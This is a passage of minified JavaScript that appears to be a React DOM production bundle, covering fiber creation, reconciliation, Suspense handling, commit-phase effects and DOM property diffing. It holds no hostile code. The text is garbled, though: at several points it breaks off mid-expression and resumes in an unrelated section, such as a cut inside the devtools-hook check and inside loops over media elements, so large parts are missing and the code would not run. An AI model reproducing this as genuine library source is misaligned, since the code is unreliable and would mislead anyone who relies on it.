x=d.type,j=ys(x,d.pendingProps),j=ys(x.type,j),Ob(l,d,x,j,p);case 15:return Db(l,d,d.type,d.pendingProps,p);case 17:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),au(l,d),d.tag=1,kr(x)?(l=!0,Bd(d)):l=!1,Yo(d,p),Cb(d,x,j),Hp(d,x,j,p),qp(null,d,x,!0,l,p);case 19:return Hb(l,d,p);case 22:return Lb(l,d,p)}throw Error(n(156,d.tag))};function fv(l,d){return Gr(l,d)}function dE(l,d,p,x){this.tag=l,this.key=p,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=d,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=x,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function ts(l,d,p,x){return new dE(l,d,p,x)}function fm(l){return l=l.prototype,!(!l||!l.isReactComponent)}function uE(l){if(typeof l=="function")return fm(l)?1:0;if(l!=null){if(l=l.$$typeof,l===ne)return 11;if(l===$)return 14}return 2}function Ga(l,d){var p=l.alternate;return p===null?(p=ts(l.tag,d,l.key,l.mode),p.elementType=l.elementType,p.type=l.type,p.stateNode=l.stateNode,p.alternate=l,l.alternate=p):(p.pendingProps=d,p.type=l.type,p.flags=0,p.subtreeFlags=0,p.deletions=null),p.flags=l.flags&14680064,p.childLanes=l.childLanes,p.lanes=l.lanes,p.child=l.child,p.memoizedProps=l.memoizedProps,p.memoizedState=l.memoizedState,p.updateQueue=l.updateQueue,d=l.dependencies,p.dependencies=d===null?null:{lanes:d.lanes,firstContext:d.firstContext},p.sibling=l.sibling,p.index=l.index,p.ref=l.ref,p}function gu(l,d,p,x,j,S){var A=2;if(x=l,typeof l=="function")fm(l)&&(A=1);else if(typeof l=="string")A=5;else e:switch(l){case L:return Xi(p.children,j,S,d);case R:A=8,j|=8;break;case D:return l=ts(12,p,d,j|2),l.elementType=D,l.lanes=S,l;case fe:return l=ts(13,p,d,j),l.elementType=fe,l.lanes=S,l;case xe:return l=ts(19,p,d,j),l.elementType=xe,l.lanes=S,l;case oe:return xu(p,j,S,d);default:if(typeof l=="object"&&l!==null)switch(l.$$typeof){case _:A=10;break e;case Z:A=9;break e;case ne:A=11;break e;case $:A=14;break e;case H:A=16,x=null;break e}throw Error(n(130,l==null?l:typeof l,""))}return d=ts(A,p,d,j),d.elementType=l,d.type=x,d.lanes=S,d}function Xi(l,d,p,x){return l=ts(7,l,x,d),l.lanes=p,l}function xu(l,d,p,x){return l=ts(22,l,x,d),l.elementType=oe,l.lanes=p,l.stateNode={isHidden:!1},l}function pm(l,d,p){return l=ts(6,l,null,d),l.lanes=p,l}function mm(l,d,p){return d=ts(4,l.children!==null?l.children:[],l.key,d),d.lanes=p,d.stateNode={containerInfo:l.containerInfo,pendingChildren:null,implementation:l.implementation},d}function hE(l,d,p,x,j){this.tag=d,this.containerInfo=l,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Ul(0),this.expirationTimes=Ul(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Ul(0),this.identifierPrefix=x,this.onRecoverableError=j,this.mutableSourceEagerHydrationData=null}function gm(l,d,p,x,j,S,A,F,G){return l=new hE(l,d,p,F,G),d===1?(d=1,S===!0&&(d|=8)):d=0,S=ts(3,null,null,d),l.current=S,S.stateNode=l,S.memoizedState={element:x,isDehydrated:p,cache:null,transitions:null,pendingSuspenseBoundaries:null},Mp(S),l}function fE(l,d,p){var x=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(t)}catch(e){console.error(e)}}return t(),wm.exports=SE(),wm.exports}var Ev;function CE(){if(Ev)return ku;Ev=1;var t=Pw();return ku.createRoot=t.createRoot,ku.hydrateRoot=t.hydrateRoot,ku}var EE=CE(),md=Pw();const Ow=Rw(md);/** +`+S.stack}return{value:l,source:d,stack:j,digest:null}}function Wp(l,d,p){return{value:l,source:null,stack:p??null,digest:d??null}}function Up(l,d){try{console.error(d.value)}catch(p){setTimeout(function(){throw p})}}var q3=typeof WeakMap=="function"?WeakMap:Map;function Tb(l,d,p){p=la(-1,p),p.tag=3,p.payload={element:null};var x=d.value;return p.callback=function(){du||(du=!0,im=x),Up(l,d)},p}function Mb(l,d,p){p=la(-1,p),p.tag=3;var x=l.type.getDerivedStateFromError;if(typeof x=="function"){var j=d.value;p.payload=function(){return x(j)},p.callback=function(){Up(l,d)}}var S=l.stateNode;return S!==null&&typeof S.componentDidCatch=="function"&&(p.callback=function(){Up(l,d),typeof x!="function"&&(Wa===null?Wa=new Set([this]):Wa.add(this));var A=d.stack;this.componentDidCatch(d.value,{componentStack:A!==null?A:""})}),p}function Ab(l,d,p){var x=l.pingCache;if(x===null){x=l.pingCache=new q3;var j=new Set;x.set(d,j)}else j=x.get(d),j===void 0&&(j=new Set,x.set(d,j));j.has(p)||(j.add(p),l=oE.bind(null,l,d,p),d.then(l,l))}function Ib(l){do{var d;if((d=l.tag===13)&&(d=l.memoizedState,d=d!==null?d.dehydrated!==null:!0),d)return l;l=l.return}while(l!==null);return null}function Rb(l,d,p,x,j){return(l.mode&1)===0?(l===d?l.flags|=65536:(l.flags|=128,p.flags|=131072,p.flags&=-52805,p.tag===1&&(p.alternate===null?p.tag=17:(d=la(-1,1),d.tag=2,Va(p,d,1))),p.lanes|=1),l):(l.flags|=65536,l.lanes=j,l)}var G3=T.ReactCurrentOwner,Sr=!1;function xr(l,d,p,x){d.child=l===null?Xy(d,null,p,x):Go(d,l.child,p,x)}function Pb(l,d,p,x,j){p=p.render;var S=d.ref;return Yo(d,j),x=Lp(l,d,p,x,S,j),p=_p(),l!==null&&!Sr?(d.updateQueue=l.updateQueue,d.flags&=-2053,l.lanes&=~j,ca(l,d,j)):(Xt&&p&&bp(d),d.flags|=1,xr(l,d,x,j),d.child)}function Ob(l,d,p,x,j){if(l===null){var S=p.type;return typeof S=="function"&&!fm(S)&&S.defaultProps===void 0&&p.compare===null&&p.defaultProps===void 0?(d.tag=15,d.type=S,Db(l,d,S,x,j)):(l=gu(p.type,null,x,d,d.mode,j),l.ref=d.ref,l.return=d,d.child=l)}if(S=l.child,(l.lanes&j)===0){var A=S.memoizedProps;if(p=p.compare,p=p!==null?p:rc,p(A,x)&&l.ref===d.ref)return ca(l,d,j)}return d.flags|=1,l=Ga(S,x),l.ref=d.ref,l.return=d,d.child=l}function Db(l,d,p,x,j){if(l!==null){var S=l.memoizedProps;if(rc(S,x)&&l.ref===d.ref)if(Sr=!1,d.pendingProps=x=S,(l.lanes&j)!==0)(l.flags&131072)!==0&&(Sr=!0);else return d.lanes=l.lanes,ca(l,d,j)}return Kp(l,d,p,x,j)}function Lb(l,d,p){var x=d.pendingProps,j=x.children,S=l!==null?l.memoizedState:null;if(x.mode==="hidden")if((d.mode&1)===0)d.memoizedState={baseLanes:0,cachePool:null,transitions:null},Vt(el,Lr),Lr|=p;else{if((p&1073741824)===0)return l=S!==null?S.baseLanes|p:p,d.lanes=d.childLanes=1073741824,d.memoizedState={baseLanes:l,cachePool:null,transitions:null},d.updateQueue=null,Vt(el,Lr),Lr|=l,null;d.memoizedState={baseLanes:0,cachePool:null,transitions:null},x=S!==null?S.baseLanes:p,Vt(el,Lr),Lr|=x}else S!==null?(x=S.baseLanes|p,d.memoizedState=null):x=p,Vt(el,Lr),Lr|=x;return xr(l,d,j,p),d.child}function _b(l,d){var p=d.ref;(l===null&&p!==null||l!==null&&l.ref!==p)&&(d.flags|=512,d.flags|=2097152)}function Kp(l,d,p,x,j){var S=kr(p)?Vi:tr.current;return S=Wo(d,S),Yo(d,j),p=Lp(l,d,p,x,S,j),x=_p(),l!==null&&!Sr?(d.updateQueue=l.updateQueue,d.flags&=-2053,l.lanes&=~j,ca(l,d,j)):(Xt&&x&&bp(d),d.flags|=1,xr(l,d,p,j),d.child)}function zb(l,d,p,x,j){if(kr(p)){var S=!0;Bd(d)}else S=!1;if(Yo(d,j),d.stateNode===null)au(l,d),Cb(d,p,x),Hp(d,p,x,j),x=!0;else if(l===null){var A=d.stateNode,F=d.memoizedProps;A.props=F;var G=A.context,he=p.contextType;typeof he=="object"&&he!==null?he=Xr(he):(he=kr(p)?Vi:tr.current,he=Wo(d,he));var je=p.getDerivedStateFromProps,Se=typeof je=="function"||typeof A.getSnapshotBeforeUpdate=="function";Se||typeof A.UNSAFE_componentWillReceiveProps!="function"&&typeof A.componentWillReceiveProps!="function"||(F!==x||G!==he)&&Eb(d,A,x,he),Ba=!1;var we=d.memoizedState;A.state=we,Yd(d,x,A,j),G=d.memoizedState,F!==x||we!==G||jr.current||Ba?(typeof je=="function"&&(Vp(d,p,je,x),G=d.memoizedState),(F=Ba||Sb(d,p,F,x,we,G,he))?(Se||typeof A.UNSAFE_componentWillMount!="function"&&typeof A.componentWillMount!="function"||(typeof A.componentWillMount=="function"&&A.componentWillMount(),typeof A.UNSAFE_componentWillMount=="function"&&A.UNSAFE_componentWillMount()),typeof A.componentDidMount=="function"&&(d.flags|=4194308)):(typeof A.componentDidMount=="function"&&(d.flags|=4194308),d.memoizedProps=x,d.memoizedState=G),A.props=x,A.state=G,A.context=he,x=F):(typeof A.componentDidMount=="function"&&(d.flags|=4194308),x=!1)}else{A=d.stateNode,eb(l,d),F=d.memoizedProps,he=d.type===d.elementType?F:ys(d.type,F),A.props=he,Se=d.pendingProps,we=A.context,G=p.contextType,typeof G=="object"&&G!==null?G=Xr(G):(G=kr(p)?Vi:tr.current,G=Wo(d,G));var Oe=p.getDerivedStateFromProps;(je=typeof Oe=="function"||typeof A.getSnapshotBeforeUpdate=="function")||typeof A.UNSAFE_componentWillReceiveProps!="function"&&typeof A.componentWillReceiveProps!="function"||(F!==Se||we!==G)&&Eb(d,A,x,G),Ba=!1,we=d.memoizedState,A.state=we,Yd(d,x,A,j);var ze=d.memoizedState;F!==Se||we!==ze||jr.current||Ba?(typeof Oe=="function"&&(Vp(d,p,Oe,x),ze=d.memoizedState),(he=Ba||Sb(d,p,he,x,we,ze,G)||!1)?(je||typeof A.UNSAFE_componentWillUpdate!="function"&&typeof A.componentWillUpdate!="function"||(typeof A.componentWillUpdate=="function"&&A.componentWillUpdate(x,ze,G),typeof A.UNSAFE_componentWillUpdate=="function"&&A.UNSAFE_componentWillUpdate(x,ze,G)),typeof A.componentDidUpdate=="function"&&(d.flags|=4),typeof A.getSnapshotBeforeUpdate=="function"&&(d.flags|=1024)):(typeof A.componentDidUpdate!="function"||F===l.memoizedProps&&we===l.memoizedState||(d.flags|=4),typeof A.getSnapshotBeforeUpdate!="function"||F===l.memoizedProps&&we===l.memoizedState||(d.flags|=1024),d.memoizedProps=x,d.memoizedState=ze),A.props=x,A.state=ze,A.context=G,x=he):(typeof A.componentDidUpdate!="function"||F===l.memoizedProps&&we===l.memoizedState||(d.flags|=4),typeof A.getSnapshotBeforeUpdate!="function"||F===l.memoizedProps&&we===l.memoizedState||(d.flags|=1024),x=!1)}return qp(l,d,p,x,S,j)}function qp(l,d,p,x,j,S){_b(l,d);var A=(d.flags&128)!==0;if(!x&&!A)return j&&Hy(d,p,!1),ca(l,d,S);x=d.stateNode,G3.current=d;var F=A&&typeof p.getDerivedStateFromError!="function"?null:x.render();return d.flags|=1,l!==null&&A?(d.child=Go(d,l.child,null,S),d.child=Go(d,null,F,S)):xr(l,d,F,S),d.memoizedState=x.state,j&&Hy(d,p,!0),d.child}function $b(l){var d=l.stateNode;d.pendingContext?By(l,d.pendingContext,d.pendingContext!==d.context):d.context&&By(l,d.context,!1),Ap(l,d.containerInfo)}function Fb(l,d,p,x,j){return qo(),jp(j),d.flags|=256,xr(l,d,p,x),d.child}var Gp={dehydrated:null,treeContext:null,retryLane:0};function Jp(l){return{baseLanes:l,cachePool:null,transitions:null}}function Bb(l,d,p){var x=d.pendingProps,j=sn.current,S=!1,A=(d.flags&128)!==0,F;if((F=A)||(F=l!==null&&l.memoizedState===null?!1:(j&2)!==0),F?(S=!0,d.flags&=-129):(l===null||l.memoizedState!==null)&&(j|=1),Vt(sn,j&1),l===null)return wp(d),l=d.memoizedState,l!==null&&(l=l.dehydrated,l!==null)?((d.mode&1)===0?d.lanes=1:l.data==="$!"?d.lanes=8:d.lanes=1073741824,null):(A=x.children,l=x.fallback,S?(x=d.mode,S=d.child,A={mode:"hidden",children:A},(x&1)===0&&S!==null?(S.childLanes=0,S.pendingProps=A):S=xu(A,x,0,null),l=Xi(l,x,p,null),S.return=d,l.return=d,S.sibling=l,d.child=S,d.child.memoizedState=Jp(p),d.memoizedState=Gp,l):Yp(d,A));if(j=l.memoizedState,j!==null&&(F=j.dehydrated,F!==null))return J3(l,d,A,x,F,j,p);if(S){S=x.fallback,A=d.mode,j=l.child,F=j.sibling;var G={mode:"hidden",children:x.children};return(A&1)===0&&d.child!==j?(x=d.child,x.childLanes=0,x.pendingProps=G,d.deletions=null):(x=Ga(j,G),x.subtreeFlags=j.subtreeFlags&14680064),F!==null?S=Ga(F,S):(S=Xi(S,A,p,null),S.flags|=2),S.return=d,x.return=d,x.sibling=S,d.child=x,x=S,S=d.child,A=l.child.memoizedState,A=A===null?Jp(p):{baseLanes:A.baseLanes|p,cachePool:null,transitions:A.transitions},S.memoizedState=A,S.childLanes=l.childLanes&~p,d.memoizedState=Gp,x}return S=l.child,l=S.sibling,x=Ga(S,{mode:"visible",children:x.children}),(d.mode&1)===0&&(x.lanes=p),x.return=d,x.sibling=null,l!==null&&(p=d.deletions,p===null?(d.deletions=[l],d.flags|=16):p.push(l)),d.child=x,d.memoizedState=null,x}function Yp(l,d){return d=xu({mode:"visible",children:d},l.mode,0,null),d.return=l,l.child=d}function su(l,d,p,x){return x!==null&&jp(x),Go(d,l.child,null,p),l=Yp(d,d.pendingProps.children),l.flags|=2,d.memoizedState=null,l}function J3(l,d,p,x,j,S,A){if(p)return d.flags&256?(d.flags&=-257,x=Wp(Error(n(422))),su(l,d,A,x)):d.memoizedState!==null?(d.child=l.child,d.flags|=128,null):(S=x.fallback,j=d.mode,x=xu({mode:"visible",children:x.children},j,0,null),S=Xi(S,j,A,null),S.flags|=2,x.return=d,S.return=d,x.sibling=S,d.child=x,(d.mode&1)!==0&&Go(d,l.child,null,A),d.child.memoizedState=Jp(A),d.memoizedState=Gp,S);if((d.mode&1)===0)return su(l,d,A,null);if(j.data==="$!"){if(x=j.nextSibling&&j.nextSibling.dataset,x)var F=x.dgst;return x=F,S=Error(n(419)),x=Wp(S,x,void 0),su(l,d,A,x)}if(F=(A&l.childLanes)!==0,Sr||F){if(x=zn,x!==null){switch(A&-A){case 4:j=2;break;case 16:j=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:j=32;break;case 536870912:j=268435456;break;default:j=0}j=(j&(x.suspendedLanes|A))!==0?0:j,j!==0&&j!==S.retryLane&&(S.retryLane=j,oa(l,j),Ns(x,l,j,-1))}return hm(),x=Wp(Error(n(421))),su(l,d,A,x)}return j.data==="$?"?(d.flags|=128,d.child=l.child,d=lE.bind(null,l),j._reactRetry=d,null):(l=S.treeContext,Dr=_a(j.nextSibling),Or=d,Xt=!0,xs=null,l!==null&&(Yr[Qr++]=aa,Yr[Qr++]=ia,Yr[Qr++]=Hi,aa=l.id,ia=l.overflow,Hi=d),d=Yp(d,x.children),d.flags|=4096,d)}function Vb(l,d,p){l.lanes|=d;var x=l.alternate;x!==null&&(x.lanes|=d),Ep(l.return,d,p)}function Qp(l,d,p,x,j){var S=l.memoizedState;S===null?l.memoizedState={isBackwards:d,rendering:null,renderingStartTime:0,last:x,tail:p,tailMode:j}:(S.isBackwards=d,S.rendering=null,S.renderingStartTime=0,S.last=x,S.tail=p,S.tailMode=j)}function Hb(l,d,p){var x=d.pendingProps,j=x.revealOrder,S=x.tail;if(xr(l,d,x.children,p),x=sn.current,(x&2)!==0)x=x&1|2,d.flags|=128;else{if(l!==null&&(l.flags&128)!==0)e:for(l=d.child;l!==null;){if(l.tag===13)l.memoizedState!==null&&Vb(l,p,d);else if(l.tag===19)Vb(l,p,d);else if(l.child!==null){l.child.return=l,l=l.child;continue}if(l===d)break e;for(;l.sibling===null;){if(l.return===null||l.return===d)break e;l=l.return}l.sibling.return=l.return,l=l.sibling}x&=1}if(Vt(sn,x),(d.mode&1)===0)d.memoizedState=null;else switch(j){case"forwards":for(p=d.child,j=null;p!==null;)l=p.alternate,l!==null&&Qd(l)===null&&(j=p),p=p.sibling;p=j,p===null?(j=d.child,d.child=null):(j=p.sibling,p.sibling=null),Qp(d,!1,j,p,S);break;case"backwards":for(p=null,j=d.child,d.child=null;j!==null;){if(l=j.alternate,l!==null&&Qd(l)===null){d.child=j;break}l=j.sibling,j.sibling=p,p=j,j=l}Qp(d,!0,p,null,S);break;case"together":Qp(d,!1,null,null,void 0);break;default:d.memoizedState=null}return d.child}function au(l,d){(d.mode&1)===0&&l!==null&&(l.alternate=null,d.alternate=null,d.flags|=2)}function ca(l,d,p){if(l!==null&&(d.dependencies=l.dependencies),Gi|=d.lanes,(p&d.childLanes)===0)return null;if(l!==null&&d.child!==l.child)throw Error(n(153));if(d.child!==null){for(l=d.child,p=Ga(l,l.pendingProps),d.child=p,p.return=d;l.sibling!==null;)l=l.sibling,p=p.sibling=Ga(l,l.pendingProps),p.return=d;p.sibling=null}return d.child}function Y3(l,d,p){switch(d.tag){case 3:$b(d),qo();break;case 5:rb(d);break;case 1:kr(d.type)&&Bd(d);break;case 4:Ap(d,d.stateNode.containerInfo);break;case 10:var x=d.type._context,j=d.memoizedProps.value;Vt(qd,x._currentValue),x._currentValue=j;break;case 13:if(x=d.memoizedState,x!==null)return x.dehydrated!==null?(Vt(sn,sn.current&1),d.flags|=128,null):(p&d.child.childLanes)!==0?Bb(l,d,p):(Vt(sn,sn.current&1),l=ca(l,d,p),l!==null?l.sibling:null);Vt(sn,sn.current&1);break;case 19:if(x=(p&d.childLanes)!==0,(l.flags&128)!==0){if(x)return Hb(l,d,p);d.flags|=128}if(j=d.memoizedState,j!==null&&(j.rendering=null,j.tail=null,j.lastEffect=null),Vt(sn,sn.current),x)break;return null;case 22:case 23:return d.lanes=0,Lb(l,d,p)}return ca(l,d,p)}var Wb,Xp,Ub,Kb;Wb=function(l,d){for(var p=d.child;p!==null;){if(p.tag===5||p.tag===6)l.appendChild(p.stateNode);else if(p.tag!==4&&p.child!==null){p.child.return=p,p=p.child;continue}if(p===d)break;for(;p.sibling===null;){if(p.return===null||p.return===d)return;p=p.return}p.sibling.return=p.return,p=p.sibling}},Xp=function(){},Ub=function(l,d,p,x){var j=l.memoizedProps;if(j!==x){l=d.stateNode,Ki(Ls.current);var S=null;switch(p){case"input":j=Tt(l,j),x=Tt(l,x),S=[];break;case"select":j=B({},j,{value:void 0}),x=B({},x,{value:void 0}),S=[];break;case"textarea":j=Rn(l,j),x=Rn(l,x),S=[];break;default:typeof j.onClick!="function"&&typeof x.onClick=="function"&&(l.onclick=zd)}wr(p,x);var A;p=null;for(he in j)if(!x.hasOwnProperty(he)&&j.hasOwnProperty(he)&&j[he]!=null)if(he==="style"){var F=j[he];for(A in F)F.hasOwnProperty(A)&&(p||(p={}),p[A]="")}else he!=="dangerouslySetInnerHTML"&&he!=="children"&&he!=="suppressContentEditableWarning"&&he!=="suppressHydrationWarning"&&he!=="autoFocus"&&(a.hasOwnProperty(he)?S||(S=[]):(S=S||[]).push(he,null));for(he in x){var G=x[he];if(F=j!=null?j[he]:void 0,x.hasOwnProperty(he)&&G!==F&&(G!=null||F!=null))if(he==="style")if(F){for(A in F)!F.hasOwnProperty(A)||G&&G.hasOwnProperty(A)||(p||(p={}),p[A]="");for(A in G)G.hasOwnProperty(A)&&F[A]!==G[A]&&(p||(p={}),p[A]=G[A])}else p||(S||(S=[]),S.push(he,p)),p=G;else he==="dangerouslySetInnerHTML"?(G=G?G.__html:void 0,F=F?F.__html:void 0,G!=null&&F!==G&&(S=S||[]).push(he,G)):he==="children"?typeof G!="string"&&typeof G!="number"||(S=S||[]).push(he,""+G):he!=="suppressContentEditableWarning"&&he!=="suppressHydrationWarning"&&(a.hasOwnProperty(he)?(G!=null&&he==="onScroll"&&qt("scroll",l),S||F===G||(S=[])):(S=S||[]).push(he,G))}p&&(S=S||[]).push("style",p);var he=S;(d.updateQueue=he)&&(d.flags|=4)}},Kb=function(l,d,p,x){p!==x&&(d.flags|=4)};function yc(l,d){if(!Xt)switch(l.tailMode){case"hidden":d=l.tail;for(var p=null;d!==null;)d.alternate!==null&&(p=d),d=d.sibling;p===null?l.tail=null:p.sibling=null;break;case"collapsed":p=l.tail;for(var x=null;p!==null;)p.alternate!==null&&(x=p),p=p.sibling;x===null?d||l.tail===null?l.tail=null:l.tail.sibling=null:x.sibling=null}}function rr(l){var d=l.alternate!==null&&l.alternate.child===l.child,p=0,x=0;if(d)for(var j=l.child;j!==null;)p|=j.lanes|j.childLanes,x|=j.subtreeFlags&14680064,x|=j.flags&14680064,j.return=l,j=j.sibling;else for(j=l.child;j!==null;)p|=j.lanes|j.childLanes,x|=j.subtreeFlags,x|=j.flags,j.return=l,j=j.sibling;return l.subtreeFlags|=x,l.childLanes=p,d}function Q3(l,d,p){var x=d.pendingProps;switch(vp(d),d.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return rr(d),null;case 1:return kr(d.type)&&Fd(),rr(d),null;case 3:return x=d.stateNode,Qo(),Gt(jr),Gt(tr),Pp(),x.pendingContext&&(x.context=x.pendingContext,x.pendingContext=null),(l===null||l.child===null)&&(Ud(d)?d.flags|=4:l===null||l.memoizedState.isDehydrated&&(d.flags&256)===0||(d.flags|=1024,xs!==null&&(cm(xs),xs=null))),Xp(l,d),rr(d),null;case 5:Ip(d);var j=Ki(fc.current);if(p=d.type,l!==null&&d.stateNode!=null)Ub(l,d,p,x,j),l.ref!==d.ref&&(d.flags|=512,d.flags|=2097152);else{if(!x){if(d.stateNode===null)throw Error(n(166));return rr(d),null}if(l=Ki(Ls.current),Ud(d)){x=d.stateNode,p=d.type;var S=d.memoizedProps;switch(x[Ds]=d,x[lc]=S,l=(d.mode&1)!==0,p){case"dialog":qt("cancel",x),qt("close",x);break;case"iframe":case"object":case"embed":qt("load",x);break;case"video":case"audio":for(j=0;j<\/script>",l=l.removeChild(l.firstChild)):typeof x.is=="string"?l=A.createElement(p,{is:x.is}):(l=A.createElement(p),p==="select"&&(A=l,x.multiple?A.multiple=!0:x.size&&(A.size=x.size))):l=A.createElementNS(l,p),l[Ds]=d,l[lc]=x,Wb(l,d,!1,!1),d.stateNode=l;e:{switch(A=As(p,x),p){case"dialog":qt("cancel",l),qt("close",l),j=x;break;case"iframe":case"object":case"embed":qt("load",l),j=x;break;case"video":case"audio":for(j=0;jtl&&(d.flags|=128,x=!0,yc(S,!1),d.lanes=4194304)}else{if(!x)if(l=Qd(A),l!==null){if(d.flags|=128,x=!0,p=l.updateQueue,p!==null&&(d.updateQueue=p,d.flags|=4),yc(S,!0),S.tail===null&&S.tailMode==="hidden"&&!A.alternate&&!Xt)return rr(d),null}else 2*Ot()-S.renderingStartTime>tl&&p!==1073741824&&(d.flags|=128,x=!0,yc(S,!1),d.lanes=4194304);S.isBackwards?(A.sibling=d.child,d.child=A):(p=S.last,p!==null?p.sibling=A:d.child=A,S.last=A)}return S.tail!==null?(d=S.tail,S.rendering=d,S.tail=d.sibling,S.renderingStartTime=Ot(),d.sibling=null,p=sn.current,Vt(sn,x?p&1|2:p&1),d):(rr(d),null);case 22:case 23:return um(),x=d.memoizedState!==null,l!==null&&l.memoizedState!==null!==x&&(d.flags|=8192),x&&(d.mode&1)!==0?(Lr&1073741824)!==0&&(rr(d),d.subtreeFlags&6&&(d.flags|=8192)):rr(d),null;case 24:return null;case 25:return null}throw Error(n(156,d.tag))}function X3(l,d){switch(vp(d),d.tag){case 1:return kr(d.type)&&Fd(),l=d.flags,l&65536?(d.flags=l&-65537|128,d):null;case 3:return Qo(),Gt(jr),Gt(tr),Pp(),l=d.flags,(l&65536)!==0&&(l&128)===0?(d.flags=l&-65537|128,d):null;case 5:return Ip(d),null;case 13:if(Gt(sn),l=d.memoizedState,l!==null&&l.dehydrated!==null){if(d.alternate===null)throw Error(n(340));qo()}return l=d.flags,l&65536?(d.flags=l&-65537|128,d):null;case 19:return Gt(sn),null;case 4:return Qo(),null;case 10:return Cp(d.type._context),null;case 22:case 23:return um(),null;case 24:return null;default:return null}}var iu=!1,sr=!1,Z3=typeof WeakSet=="function"?WeakSet:Set,_e=null;function Zo(l,d){var p=l.ref;if(p!==null)if(typeof p=="function")try{p(null)}catch(x){dn(l,d,x)}else p.current=null}function Zp(l,d,p){try{p()}catch(x){dn(l,d,x)}}var qb=!1;function eE(l,d){if(up=Cd,l=Sy(),rp(l)){if("selectionStart"in l)var p={start:l.selectionStart,end:l.selectionEnd};else e:{p=(p=l.ownerDocument)&&p.defaultView||window;var x=p.getSelection&&p.getSelection();if(x&&x.rangeCount!==0){p=x.anchorNode;var j=x.anchorOffset,S=x.focusNode;x=x.focusOffset;try{p.nodeType,S.nodeType}catch{p=null;break e}var A=0,F=-1,G=-1,he=0,je=0,Se=l,we=null;t:for(;;){for(var Oe;Se!==p||j!==0&&Se.nodeType!==3||(F=A+j),Se!==S||x!==0&&Se.nodeType!==3||(G=A+x),Se.nodeType===3&&(A+=Se.nodeValue.length),(Oe=Se.firstChild)!==null;)we=Se,Se=Oe;for(;;){if(Se===l)break t;if(we===p&&++he===j&&(F=A),we===S&&++je===x&&(G=A),(Oe=Se.nextSibling)!==null)break;Se=we,we=Se.parentNode}Se=Oe}p=F===-1||G===-1?null:{start:F,end:G}}else p=null}p=p||{start:0,end:0}}else p=null;for(hp={focusedElem:l,selectionRange:p},Cd=!1,_e=d;_e!==null;)if(d=_e,l=d.child,(d.subtreeFlags&1028)!==0&&l!==null)l.return=d,_e=l;else for(;_e!==null;){d=_e;try{var ze=d.alternate;if((d.flags&1024)!==0)switch(d.tag){case 0:case 11:case 15:break;case 1:if(ze!==null){var Be=ze.memoizedProps,yn=ze.memoizedState,ae=d.stateNode,ee=ae.getSnapshotBeforeUpdate(d.elementType===d.type?Be:ys(d.type,Be),yn);ae.__reactInternalSnapshotBeforeUpdate=ee}break;case 3:var de=d.stateNode.containerInfo;de.nodeType===1?de.textContent="":de.nodeType===9&&de.documentElement&&de.removeChild(de.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(n(163))}}catch(Ae){dn(d,d.return,Ae)}if(l=d.sibling,l!==null){l.return=d.return,_e=l;break}_e=d.return}return ze=qb,qb=!1,ze}function bc(l,d,p){var x=d.updateQueue;if(x=x!==null?x.lastEffect:null,x!==null){var j=x=x.next;do{if((j.tag&l)===l){var S=j.destroy;j.destroy=void 0,S!==void 0&&Zp(d,p,S)}j=j.next}while(j!==x)}}function ou(l,d){if(d=d.updateQueue,d=d!==null?d.lastEffect:null,d!==null){var p=d=d.next;do{if((p.tag&l)===l){var x=p.create;p.destroy=x()}p=p.next}while(p!==d)}}function em(l){var d=l.ref;if(d!==null){var p=l.stateNode;switch(l.tag){case 5:l=p;break;default:l=p}typeof d=="function"?d(l):d.current=l}}function Gb(l){var d=l.alternate;d!==null&&(l.alternate=null,Gb(d)),l.child=null,l.deletions=null,l.sibling=null,l.tag===5&&(d=l.stateNode,d!==null&&(delete d[Ds],delete d[lc],delete d[gp],delete d[L3],delete d[_3])),l.stateNode=null,l.return=null,l.dependencies=null,l.memoizedProps=null,l.memoizedState=null,l.pendingProps=null,l.stateNode=null,l.updateQueue=null}function Jb(l){return l.tag===5||l.tag===3||l.tag===4}function Yb(l){e:for(;;){for(;l.sibling===null;){if(l.return===null||Jb(l.return))return null;l=l.return}for(l.sibling.return=l.return,l=l.sibling;l.tag!==5&&l.tag!==6&&l.tag!==18;){if(l.flags&2||l.child===null||l.tag===4)continue e;l.child.return=l,l=l.child}if(!(l.flags&2))return l.stateNode}}function tm(l,d,p){var x=l.tag;if(x===5||x===6)l=l.stateNode,d?p.nodeType===8?p.parentNode.insertBefore(l,d):p.insertBefore(l,d):(p.nodeType===8?(d=p.parentNode,d.insertBefore(l,p)):(d=p,d.appendChild(l)),p=p._reactRootContainer,p!=null||d.onclick!==null||(d.onclick=zd));else if(x!==4&&(l=l.child,l!==null))for(tm(l,d,p),l=l.sibling;l!==null;)tm(l,d,p),l=l.sibling}function nm(l,d,p){var x=l.tag;if(x===5||x===6)l=l.stateNode,d?p.insertBefore(l,d):p.appendChild(l);else if(x!==4&&(l=l.child,l!==null))for(nm(l,d,p),l=l.sibling;l!==null;)nm(l,d,p),l=l.sibling}var Kn=null,bs=!1;function Ha(l,d,p){for(p=p.child;p!==null;)Qb(l,d,p),p=p.sibling}function Qb(l,d,p){if(Pe&&typeof Pe.onCommitFiberUnmount=="function")try{Pe.onCommitFiberUnmount(U,p)}catch{}switch(p.tag){case 5:sr||Zo(p,d);case 6:var x=Kn,j=bs;Kn=null,Ha(l,d,p),Kn=x,bs=j,Kn!==null&&(bs?(l=Kn,p=p.stateNode,l.nodeType===8?l.parentNode.removeChild(p):l.removeChild(p)):Kn.removeChild(p.stateNode));break;case 